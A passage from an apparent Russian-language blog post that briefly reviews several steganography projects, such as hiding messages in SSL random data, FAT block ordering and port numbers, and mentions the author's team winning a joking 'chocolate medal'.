3) Стеганосистема "Sec&Ran" - система с принципом недоказуемости. По сути, они передают секретное сообщение в рандомизированных данных протокола SSL. Для этого переписали клиент и сервер openSSL. Получилось круто, но передает только 28 байт за пакет.
4) Стеганосистема "StegFat" - суть в том, что секретное сообщение составляется из расположения блоков в Fat таблице. Забавная идея, но информации мало.
5) Стеганосистема "Порт". Не очень стегано. Шлют на разные порты сообщения, в зависимости от порта формируется значащий бит.

Шоколадная медалька досталась нам :)